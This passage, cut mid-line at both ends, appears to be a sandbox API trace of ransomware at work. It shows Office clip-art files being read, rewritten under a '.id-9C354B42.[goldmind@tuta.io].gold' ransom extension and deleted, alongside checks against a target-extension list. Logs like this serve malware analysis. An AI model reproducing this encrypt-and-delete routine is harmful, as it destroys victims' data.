Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0114.265] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.265] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.266] GetLastError () returned 0x0 [0114.266] ReadFile (in: hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xa3b2, lpOverlapped=0x0) returned 1 [0114.285] WriteFile (in: hFile=0x194, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xa3c0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xa3c0, lpOverlapped=0x0) returned 1 [0114.286] ReadFile (in: hFile=0x398, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0114.286] WriteFile (in: hFile=0x194, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.286] SetEndOfFile (hFile=0x194) returned 1 [0114.286] CloseHandle (hObject=0x194) returned 1 [0114.286] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.286] SetEndOfFile (hFile=0x398) returned 1 [0114.288] CloseHandle (hObject=0x398) returned 1 [0114.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf")) returned 1 [0114.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0114.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0114.301] lstrlenW (lpString=".doc") returned 4 [0114.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.301] lstrlenW (lpString=".docx") returned 5 [0114.301] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0114.301] lstrlenW (lpString=".pdf") returned 4 [0114.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.301] lstrlenW (lpString=".xls") returned 4 [0114.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.301] lstrlenW (lpString=".xlsx") returned 5 [0114.301] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0114.301] lstrlenW (lpString=".ppt") returned 4 [0114.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0114.301] lstrlenW (lpString=".zip") returned 4 [0114.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.301] lstrlenW (lpString=".rar") returned 4 [0114.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.301] lstrlenW (lpString=".bz2") returned 4 [0114.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.301] lstrlenW (lpString=".7z") returned 3 [0114.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0114.301] lstrlenW (lpString=".dbf") returned 4 [0114.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0114.301] lstrlenW (lpString=".1cd") returned 4 [0114.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0114.301] lstrlenW (lpString=".jpg") returned 4 [0114.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0114.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0114.301] lstrlenW (lpString=".doc") returned 4 [0114.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.301] lstrlenW (lpString=".docx") returned 5 [0114.301] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0114.301] lstrlenW (lpString=".pdf") returned 4 [0114.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.301] lstrlenW (lpString=".xls") returned 4 [0114.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.301] lstrlenW (lpString=".xlsx") returned 5 [0114.301] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0114.301] lstrlenW (lpString=".ppt") returned 4 [0114.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0114.302] lstrlenW (lpString=".zip") returned 4 [0114.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.302] lstrlenW (lpString=".rar") returned 4 [0114.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.302] lstrlenW (lpString=".bz2") returned 4 [0114.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.302] lstrlenW (lpString=".7z") returned 3 [0114.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0114.302] lstrlenW (lpString=".dbf") returned 4 [0114.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0114.302] lstrlenW (lpString=".1cd") returned 4 [0114.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF") returned 63 [0114.302] lstrlenW (lpString=".jpg") returned 4 [0114.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.302] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.302] lstrlenW (lpString="J0198712.WMF") returned 12 [0114.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.303] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=57722) returned 1 [0114.303] CloseHandle (hObject=0x198) returned 1 [0114.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf")) returned 0x20 [0114.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.303] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.303] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0114.304] GetLastError () returned 0x0 [0114.304] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xe17a, lpOverlapped=0x0) returned 1 [0114.328] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xe180, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe180, lpOverlapped=0x0) returned 1 [0114.329] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0114.329] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.330] SetEndOfFile (hFile=0x3f8) returned 1 [0114.330] CloseHandle (hObject=0x3f8) returned 1 [0114.330] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.330] SetEndOfFile (hFile=0x198) returned 1 [0114.332] CloseHandle (hObject=0x198) returned 1 [0114.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf")) returned 1 [0114.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned 63 [0114.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned 63 [0114.422] lstrlenW (lpString=".doc") returned 4 [0114.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.422] lstrlenW (lpString=".docx") returned 5 [0114.422] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0114.422] lstrlenW (lpString=".pdf") returned 4 [0114.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.422] lstrlenW (lpString=".xls") returned 4 [0114.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.422] lstrlenW (lpString=".xlsx") returned 5 [0114.422] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0114.422] lstrlenW (lpString=".ppt") returned 4 [0114.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned 63 [0114.422] lstrlenW (lpString=".zip") returned 4 [0114.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.422] lstrlenW (lpString=".rar") returned 4 [0114.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.422] lstrlenW (lpString=".bz2") returned 4 [0114.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.422] lstrlenW (lpString=".7z") returned 3 [0114.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned 63 [0114.422] lstrlenW (lpString=".dbf") returned 4 [0114.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned 63 [0114.422] lstrlenW (lpString=".1cd") returned 4 [0114.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned 63 [0114.422] lstrlenW (lpString=".jpg") returned 4 [0114.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned 63 [0114.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned 63 [0114.422] lstrlenW (lpString=".doc") returned 4 [0114.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.422] lstrlenW (lpString=".docx") returned 5 [0114.422] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0114.422] lstrlenW (lpString=".pdf") returned 4 [0114.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.422] lstrlenW (lpString=".xls") returned 4 [0114.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.423] lstrlenW (lpString=".xlsx") returned 5 [0114.423] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0114.423] lstrlenW (lpString=".ppt") returned 4 [0114.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned 63 [0114.423] lstrlenW (lpString=".zip") returned 4 [0114.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.423] lstrlenW (lpString=".rar") returned 4 [0114.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.423] lstrlenW (lpString=".bz2") returned 4 [0114.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.423] lstrlenW (lpString=".7z") returned 3 [0114.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned 63 [0114.423] lstrlenW (lpString=".dbf") returned 4 [0114.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned 63 [0114.423] lstrlenW (lpString=".1cd") returned 4 [0114.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF") returned 63 [0114.423] lstrlenW (lpString=".jpg") returned 4 [0114.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.423] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.423] lstrlenW (lpString="J0199475.WMF") returned 12 [0114.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.424] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=5252) returned 1 [0114.424] CloseHandle (hObject=0x198) returned 1 [0114.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf")) returned 0x20 [0114.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.425] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.425] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0114.426] GetLastError () returned 0x0 [0114.426] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1484, lpOverlapped=0x0) returned 1 [0114.476] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1490, lpOverlapped=0x0) returned 1 [0114.477] ReadFile (in: hFile=0x198, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0114.477] WriteFile (in: hFile=0x3f8, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.477] SetEndOfFile (hFile=0x3f8) returned 1 [0114.477] CloseHandle (hObject=0x3f8) returned 1 [0114.477] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.477] SetEndOfFile (hFile=0x198) returned 1 [0114.479] CloseHandle (hObject=0x198) returned 1 [0114.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf")) returned 1 [0114.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned 63 [0114.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned 63 [0114.481] lstrlenW (lpString=".doc") returned 4 [0114.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.481] lstrlenW (lpString=".docx") returned 5 [0114.481] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0114.481] lstrlenW (lpString=".pdf") returned 4 [0114.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.481] lstrlenW (lpString=".xls") returned 4 [0114.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.481] lstrlenW (lpString=".xlsx") returned 5 [0114.481] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0114.481] lstrlenW (lpString=".ppt") returned 4 [0114.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned 63 [0114.481] lstrlenW (lpString=".zip") returned 4 [0114.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.481] lstrlenW (lpString=".rar") returned 4 [0114.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.481] lstrlenW (lpString=".bz2") returned 4 [0114.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.481] lstrlenW (lpString=".7z") returned 3 [0114.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned 63 [0114.481] lstrlenW (lpString=".dbf") returned 4 [0114.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned 63 [0114.481] lstrlenW (lpString=".1cd") returned 4 [0114.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned 63 [0114.481] lstrlenW (lpString=".jpg") returned 4 [0114.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned 63 [0114.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned 63 [0114.481] lstrlenW (lpString=".doc") returned 4 [0114.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.481] lstrlenW (lpString=".docx") returned 5 [0114.481] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0114.481] lstrlenW (lpString=".pdf") returned 4 [0114.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.481] lstrlenW (lpString=".xls") returned 4 [0114.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.481] lstrlenW (lpString=".xlsx") returned 5 [0114.482] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0114.482] lstrlenW (lpString=".ppt") returned 4 [0114.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned 63 [0114.482] lstrlenW (lpString=".zip") returned 4 [0114.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.482] lstrlenW (lpString=".rar") returned 4 [0114.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.482] lstrlenW (lpString=".bz2") returned 4 [0114.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.482] lstrlenW (lpString=".7z") returned 3 [0114.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned 63 [0114.482] lstrlenW (lpString=".dbf") returned 4 [0114.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned 63 [0114.482] lstrlenW (lpString=".1cd") returned 4 [0114.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF") returned 63 [0114.482] lstrlenW (lpString=".jpg") returned 4 [0114.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.482] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.482] lstrlenW (lpString="J0200151.WMF") returned 12 [0114.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0114.503] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=8196) returned 1 [0114.503] CloseHandle (hObject=0x3f8) returned 1 [0114.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf")) returned 0x20 [0114.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.528] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.528] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0114.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 